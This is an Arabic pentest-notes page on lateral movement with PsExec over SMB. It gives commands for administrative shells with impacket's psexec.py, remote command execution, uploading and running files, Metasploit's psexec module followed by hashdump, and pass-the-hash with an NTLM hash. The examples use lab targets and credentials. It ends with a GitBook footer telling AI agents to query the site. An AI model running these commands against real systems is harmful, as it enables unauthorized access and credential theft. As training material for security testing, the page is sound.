> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/ports-and-services/smb-445/psexec-smb-tool.md).

# PsExec (أداة SMB)

> **PsExec** هي أداة ضمن حزمة Sysinternals من Microsoft، تُستخدم لتشغيل الأوامر أو البرامج عن بُعد على أجهزة Windows. تتيح الوصول التفاعلي أو في الخلفية إلى جهاز بعيد، وغالبًا بامتيازات مرتفعة، دون الحاجة إلى الاتصال به فعليًا أو استخدام عميل RDP. وهذا مفيد بشكل خاص لإدارة الشبكات أو الاختبار الأمني أو أتمتة المهام.

إذا ظهرت الرسالة التالية:

> "تم تمكين التوقيع ولكن ليس مطلوبًا"

<figure><img src="/files/41a6a20f52bec027f723024905c0251bb9593d97" alt="" width="563"><figcaption></figcaption></figure>

* هذا يعني أنه يمكن إجراء المصادقة دون التحقق من التوقيع. قد يكون الاتصال غير الآمن ممكنًا، مما يتيح إساءة الاستخدام المتعلقة بالمصادقة.

### **PsExec.py**

إليك مثالًا على أمر للحصول على غلاف تفاعلي بامتيازات إدارية:

```bash
psexec.py <domain>/<user>:<password>@<ip_address> cmd.exe
```

```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```

<figure><img src="/files/fa555c8bed083f373eab0ee576f11ad39d9dfb7f" alt=""><figcaption></figcaption></figure>

### **التنفيذ عن بُعد للأوامر**

يتيح لك تشغيل الأوامر أو البرامج النصية مباشرةً على جهاز بعيد، دون فتح جلسة مستخدم.

```bash
psexec //<ip_address> -u <user> -p <password> <command>
```

```bash
psexec //192.168.1.100 -u Administrator -p Password123 cmd /c "ipconfig /all"
```

### **رفع ملف عن بُعد**

يتيح لك PsExec نسخ ملف محلي إلى الجهاز البعيد قبل تنفيذه.

```bash
psexec //<ip_address> -c <file_path>
```

```bash
psexec.py //192.168.1.100 -c C:/path/to/my_file.exe
```

## ميتاسبلويت

**استخدام Metasploit لاستغلال SMB باستخدام PsExec**

1. شغّل Metasploit باستخدام **exploit module/windows/smb/psexec** :

```bash
use exploit/windows/smb/psexec
set RHOSTS demo.ine.local
set SMBUser Administrator
set SMBPass qwertyuiop
exploit
```

<figure><img src="/files/979fbf4427d1dd98c27bc5203dee19e8d466042b" alt=""><figcaption></figcaption></figure>

بعد الحصول على الوصول بنجاح، يصبح من الممكن "تفريغ" تجزئات كلمات المرور:

```bash
hashdump
```

<figure><img src="/files/2dc7bb37b6d2eed0a988a9ad7e78c2e212ed4089" alt=""><figcaption></figcaption></figure>

### **Pass-the-Hash - PsExec**

يمكن أيضًا استخدام PsExec لأسلوب Pass-the-Hash عبر توفير تجزئة NTLM بدلًا من كلمة المرور. يمكن أن يوفّر ذلك وصولًا إداريًا عندما تعود التجزئة إلى حساب ذي امتيازات:

```bash
psexec.py <domain>/<user>@<ip_address> -hashes :<ntlm_hash>
```

```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

<figure><img src="/files/338c3c86db533ef27126b0e20edc69ce46e8926f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/ports-and-services/smb-445/psexec-smb-tool.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
